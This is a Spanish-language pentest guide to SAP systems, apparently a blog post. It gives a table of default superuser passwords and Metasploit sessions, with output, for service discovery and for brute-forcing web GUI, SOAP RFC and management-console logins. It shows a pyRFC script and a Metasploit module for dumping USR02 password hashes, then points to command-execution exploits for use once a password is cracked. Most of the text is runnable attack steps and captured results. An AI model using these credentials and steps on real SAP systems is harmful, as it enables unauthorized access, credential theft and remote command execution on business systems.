¿Que es SAP?
SAP Business Suite es un conjunto de programas que permiten a las empresas ejecutar y optimizar distintos aspectos como los sistemas de ventas, finanzas, operaciones bancarias, compras, fabricación, inventarios y relaciones con los clientes. Ofrece la posibilidad de realizar procesos específicos de la empresa o crear módulos independientes para funcionar con otro software de SAP o de otros proveedores. SAP está basado en una plataforma de tecnología integrada llamada NetWeaver.1 La suite puede soportar sistemas operativos, bases de datos, aplicaciones y componentes de hardware de casi cualquier proveedor.
Objetivo de esta guía
Este post no es una master class de como realizar una auditoria en entornos SAP, dado que carezco de los conocimientos en entornos SAP.
Simplemente es una guía de ayuda básica para poder comprobar la seguridad de un entorno SAP.
Software necesario
- Nmap
- Herramientas para Rservices (rsh, rlogin, rexec)
- Cliente SQL para varios sistemas (Oracle, MSSQL)
- Herramientas para NFS y SMB
- Burp Suite
- Nessus
- Metasploit
- SAP GUI
- Alguna herramienta para cracking de contraseñas tal como Hydra y Hashcat
Módulos interesantes en Metasploit
Routers SAP:
- auxiliary/scanner/sap/sap_router_info_request
- auxiliary/scanner/sap/sap_router_portscanner
Recopilar información:
- auxiliary/scanner/sap/sap_service_discovery
- auxiliary/scanner/sap/sap_icm_urlscan
- auxiliary/scanner/sap/sap_soap_rfc_ping
- auxiliary/scanner/sap/sap_soap_rfc_system_info
- auxiliary/scanner/sap/sap_icf_public_info
- auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
- auxiliary/scanner/sap/sap_soap_rfc_read_table
Ataques de fuerza bruta:
- auxiliary/scanner/sap/sap_web_gui_brute_login
- auxiliary/scanner/sap/sap_soap_rfc_brute_login
Ataques para ejecutar comandos en Windows o Linux
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
- exploit/multi/sap/sap_mgmt_con_osexec_payload
Ataques remotos vía SMB Relay.
- auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
- auxiliary/dos/sap/sap_soap_rfc_eps_delete_file
- auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
- auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
- auxiliary/scanner/sap/sap_smb_relay
Módulos para crear usuarios en SAP
- auxiliary/scanner/sap/sap_soap_bapi_user_create1
- auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
- auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt
Módulos para interactuar con la consola de administración vía SOAP
- auxiliary/scanner/sap/sap_mgmt_con_abaplog
- auxiliary/scanner/sap/sap_mgmt_con_brute_login
- auxiliary/scanner/sap/sap_mgmt_con_extractusers
- auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints
- auxiliary/scanner/sap/sap_mgmt_con_getenv
- auxiliary/scanner/sap/sap_mgmt_con_getlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_getprocesslist
- auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
- auxiliary/scanner/sap/sap_mgmt_con_instanceproperties
- auxiliary/scanner/sap/sap_mgmt_con_listlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_startprofile
- auxiliary/scanner/sap/sap_mgmt_con_version
Contraseñas por defecto
| User | Description | Clients | Password | Privileges |
| SAP* | Super user | 000, 001, 066 & new clients | 06071992 & PASS | High privileges – Hardcoded kernel user |
| IDEADM | Super user Only in IDES systems | 000, 001, 066 & new clients | admin | High Privileges – Only in IDES systems |
| DDIC | ABAP Dictionary super user | 000, 001 | 19920706 | High privileges – User has SAP_ALL |
| TMSADM | Transport Management System user | 000 | PASSWORD | TMSADM – Medium privileges |
| EARLYWATCH | EarlyWatch service user | 066 | SUPPORT | High privileges |
| SAPCPIC | Communications user | 000, 001 | ADMIN | Medium privileges |
Para sistemas SOLMAN
| User | Clients | Password | Privileges |
| SOLMAN_ADMIN | ALL | init1234 | High privileges – Only on SOLMAN systems |
| SAPSUPPORT | ALL | init1234 | High privileges – Only on SOLMAN or satellite systems |
| SOLMAN | ALL | init1234 | High privileges – Only on SOLMAN or satellite systems |
Lista de los principales T-CODE
| TCODE | Description |
| SU01 | To create and maintain the users |
| SU01D | To Display Users |
| SU10 | For mass maintenance |
| SU02 | For Manual creation of profiles |
| SE84 | Information System for SAP R/3 Authorizations |
| SM19 | Security audit – configuration |
Para mas información sobre que es un T-CODE: https://en.wikipedia.org/wiki/T-code
Recopilación de información
Para la recopilación de información utilizaremos Nmap y intentaremos obtener mayor información mediante algún modulo de metasploit
nmap -v 192.168.1.100 -p 80,443,3200-3299,3300-3399,8000-8099,8100-8199,50000-59913
Obtenemos las detalles de los servicios de sap utilizando el modulo de metasploit de sap_service_discovery
msf5 > use auxiliary/scanner/sap/sap_service_discovery
msf5 auxiliary(scanner/sap/sap_service_discovery) > set INSTANCES 00-99
INSTANCES => 00-99
msf5 auxiliary(scanner/sap/sap_service_discovery) > set rhosts 182.168.1.69
rhosts => 182.168.1.69
msf5 auxiliary(scanner/sap/sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-99 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS 182.168.1.69 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf5 auxiliary(scanner/sap/sap_service_discovery) > run
[*] 182.168.1.69: - [SAP] Beginning service Discovery '182.168.1.69'
[+] 182.168.1.69: - 182.168.1.69:3200 - SAP Dispatcher sapdp00 OPEN
[+] 182.168.1.69: - 182.168.1.69:8000 - SAP ICM HTTP OPEN
[+] 182.168.1.69: - 182.168.1.69:3300 - SAP Gateway sapgw00 OPEN
[+] 182.168.1.69: - 182.168.1.69:50013 - SAP StartService [SOAP] sapctrl00 OPEN
[+] 182.168.1.69: - 182.168.1.69:50014 - SAP StartService [SOAP over SSL] sapctrl00 OPEN
[+] 182.168.1.69: - 182.168.1.69:40000 - IGS Multiplexer OPEN
[+] 182.168.1.69: - 182.168.1.69:3201 - SAP Dispatcher sapdp01 OPEN
[+] 182.168.1.69: - 182.168.1.69:3601 - SAP Message Server sapms<SID>01 OPEN
[+] 182.168.1.69: - 182.168.1.69:8101 - SAP Message Server [HTTP] OPEN
[+] 182.168.1.69: - 182.168.1.69:50113 - SAP StartService [SOAP] sapctrl01 OPEN
[+] 182.168.1.69: - 182.168.1.69:3901 - ITS AGate sapavw00_<INST> OPEN
[+] 182.168.1.69: - 182.168.1.69:3389 - SAP Gateway sapgw89 OPEN
[+] 182.168.1.69: - 182.168.1.69:7210 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:7200 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:7269 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:515 - SAPlpd OPEN
[+] 182.168.1.69: - 182.168.1.69:1090 - Content Server / Cache Server OPEN
[*] 182.168.1.69: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedFuerza Bruta
En el siguiente paso en nuestra evaluación sería interesante ganar algún control sobre el sistema.
Dado que hemos encontrado algunos puertos interesantes como SOAP en el puerto 50013. Para ello utilizaremos el modulo: sap_mgmt_con_getprocessparameter, mediante este modulo obtendremos
msf5 auxiliary(scanner/sap/sap_service_discovery) > use auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > set rhosts 182.168.1.69
rhosts => 182.168.1.69
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > set MATCH login/fail
MATCH => login/fail
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter):
Name Current Setting Required Description
---- --------------- -------- -----------
MATCH login/fail no Display matches e.g login/
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 182.168.1.69 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 50013 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / no Path to the SAP Management Console
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > run
[*] [SAP] Connecting to SAP Management Console SOAP Interface on 182.168.1.69:50013
[-] 182.168.1.69:50013 [SAP] Error code: HTTP Error: 'Unauthorized'
[*] Scanned 1 of 1 hosts (100% complete)Como podemos ver, en nuestro caso no esta autorizado, nos devuelve un error : HTTP Error: ‘Unauthorized’, por lo tanto no hemos podido obtener el resultado para determinar cada cuantos intentos se bloquea el usuario.
Ahora empleando el modulo sap_web_gui_brute_login realizaremos un ataque de fuerza bruta para intentar acceso a la GUI web a través del conector ICM
msf > use auxiliary/scanner/sap/sap_web_gui_brute_login
msf auxiliary(sap_web_gui_brute_login) > set USER_AS_PASS false
msf auxiliary(sap_web_gui_brute_login) > set BLANK_PASSWORDS false
msf auxiliary(sap_web_gui_brute_login) > set VERBOSE false
msf auxiliary(sap_web_gui_brute_login) > set RPORT 8000
msf auxiliary(sap_web_gui_brute_login) > set RHOSTS 10.1.50.69
msf auxiliary(sap_web_gui_brute_login) > run
[*] Brute forcing clients 000,001,066
[-] [SAP] 10.1.50.69:8042 - SAP* locked in client 066
[SAP] Credentials
=================
host port client user pass
---- ---- ------ ---- ----
10.1.50.69 8042 001 DDIC 1992070
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedIntentamos acceder mediante la consola web
Por desgracia esta consola tiene un acceso limitado y mediante este usuario no se puede acceder con el cliente de sap gui, por lo tanto vamos a intentar conseguir mas información parra realizar correctamente nuestro ataque.
A continuación usamos el moduelo ‘sap_soap_rfc_brute_login‘ con el cual realizamos un ataque de fuerza bruta a traves de /sap/bc/soap/rfc del servicio SOAP utilizando la función RFC_PING.
msf5 > use auxiliary/scanner/sap/sap_soap_rfc_brute_login
msf5 auxiliary(sap_soap_rfc_brute_login) > set USER_AS_PASS false
msf5 auxiliary(sap_soap_rfc_brute_login) > set BLANK_PASSWORDS false
msf5 auxiliary(sap_soap_rfc_brute_login) > set VERBOSE false
msf5 auxiliary(sap_soap_rfc_brute_login) > set RHOSTS 192.168.1.69
msf5 auxiliary(sap_soap_rfc_brute_login) > set RPORT 8042
msf5 auxiliary(sap_soap_rfc_brute_login) > run
[SAP] 192.168.1.69:8000 Credentials
=======================================
host port client user pass
---- ---- ------ ---- ----
192.168.1.69 8000 000 SAP* PASS
192.168.1.69 8000 000 SAPCPIC ADMIN
192.168.1.69 8000 001 SAPCPIC ADMIN
192.168.1.69 8000 066 EARLYWATCH SUPPORT
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedTras conseguir todas esas cuentas de usuarios podemos utilizar el modulo sap_mgmt_con_extractusers, con el cual intentaremos extraer usuarios de SAP del ABAP Syslog a través de la interfaz SOAP de SAP Management Console.
msf > use auxiliary/scanner/sap/sap_mgmt_con_extractusers
msf auxiliary(sap_mgmt_con_extractusers) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_extractusers):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 50013 yes The target port
THREADS 1 yes The number of concurrent threads
URI / no Path to the SAP Management Console
VHOST no HTTP server virtual host
msf auxiliary(sap_mgmt_con_extractusers) > set RHOSTS 192.168.1.69
msf auxiliary(sap_mgmt_con_extractusers) > set RPORT 50013
msf auxiliary(sap_mgmt_con_extractusers) > run
[*] 192.168.1.69:50013 [SAP] Connecting to SAP Management Console SOAP Interface
[-] 192.168.1.6950013 [SAP] failed to access ABAPSyslog on 192.168.1.69:50013
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedEn el caso de conseguir algún usuario… podéis intentar mediante fuerza bruta obtener acceso, en mi caso no he obtenido ningún usuario.
Para llevar a cabo dicha fuerza bruta se realizaría de la siguiente forma, yo he utilizado las contraseñas que vienen en el wordlist de metasploit en sap_default.txt
msf5 > use auxiliary/scanner/sap/sap_mgmt_con_brute_login
msf5 auxiliary(sap_mgmt_con_brute_login) > set BLANK_PASSWORDS false
msf5 auxiliary(sap_mgmt_con_brute_login) > set USER_AS_PASS false
msf5 auxiliary(sap_mgmt_con_brute_login) > set VERBOSE false
msf5 auxiliary(sap_mgmt_con_brute_login) > set RHOSTS 192.168.1.69
msf5 auxiliary(sap_mgmt_con_brute_login) > set RPORT 50013
msf5 auxiliary(sap_mgmt_con_brute_login) > set SAP_SID <USER>
msf5 auxiliary(sap_mgmt_con_brute_login) > set PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/sap_password.txt
msf5 auxiliary(sap_mgmt_con_brute_login) > runTambién podemos intentar obtener los hash de la tabla usr02, utilizando el modulo RFC_READ_TABLE, para ello se puede realizar de múltiples formas
Mediante python
Necesitaremos pyRFC y NWRFCSDK
from pyrfc import Connection
rfc_args = {'DELIMITER': '|',
'FIELDS': [{'FIELDNAME': 'MANDT'},
{'FIELDNAME': 'BNAME'},
{'FIELDNAME': 'UFLAG'},
{'FIELDNAME': 'BCODE'},
{'FIELDNAME': 'PASSCODE'},
{'FIELDNAME': 'PWDSALTEDHASH'}],
'QUERY_TABLE': 'USR02'}
conn = Connection(ashost=host, sysnr=instance, client=client, user=user, passwd=password)
result = conn.call("RFC_READ_TABLE", **rfc_args)
print result['DATA']
Esto pasará por el servicio Gateway escuchando en el puerto tcp / 33NN y se enviará para su ejecución a uno de los procesos de trabajo ABAP.
Para mas información: http://md5solutions.com/adapting-hashcat-for-sap-half-hashes/
También podemos obtener los hash utilizando el modulo sap_soap_rfc_read_table de metasploit
msf5 > use auxiliary/scanner/sap/sap_soap_rfc_read_table
Module options (auxiliary/scanner/sap/sap_soap_rfc_read_table):
Name Current Setting Required Description
---- --------------- -------- -----------
CLIENT 001 yes SAP client
FIELDS BNAME,BCODE yes Fields to read
HttpPassword 06071992 yes Password
HttpUsername SAP* yes Username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TABLE USR02 yes Table to read
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set HttpPassword PASS
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set HttpUsername SAP*
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set CLIENT 000
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set FIELDS MANDT, BNAME, UFLAG, BCODE, PASSCODE, PWDSALTEDHASH
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set rhosts 192.168.1.69
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > run
[*] [SAP] 192.168.1.69:8000 - sending SOAP RFC_READ_TABLE request
[*] [SAP] 192.168.1.69:8000 - got response
[SAP] RFC_READ_TABLE
====================
Returned Data
-------------
000|user1 | 0 |CD******|00000000000000000000|
000|DDIC |128|00000000|00000000000000000000|{x-issha, 1024}h**********************xhnRUSzg=
000|user2 | 0 |79******|00000000000000000000|
000|SAPCPIC | 0 |7D******|00000000000000000000|
000|user3 | 0 |00000000|00000000000000000000|{x-issha, 1024}SO8i**********************TS2CKCCk=
000|user4 |128|00000000|00000000000000000000|{x-issha, 1024}tfH**********************9nujq6rjqYU=
000|user5 | 0 |13******|4E***************921|{x-issha, 1024}O1**********************wzwCDdag=
Como podemos ver, hemos encontrado algunos usuarios el cual no esta limpio el BCODE y otro usuario que tenemos el PASSCODE, en primer lugar vamos a intentar conseguir el BCODE, con el cual podremos averiguar como empiezan las contraseñas para después intentar obtener el PASSCODE mas fácilmente.
Para ello, os recomiendo las siguientes guías:
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
https://www.saptechnicalguru.com/sap-password-hash-hacking-rulebased-attack/
En mi caso, no pude descifrar la contraseña, en caso de que puedas descifrar la contraseña se podrían utilizar los siguientes:
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
exploit/multi/sap/sap_mgmt_con_osexec_payload
exploit/multi/sap/sap_soap_rfc_sxpg_command_execPodéis encontrar mucha mas información en: https://labs.f-secure.com/ aun que los post están algo desactualizados.
:wq!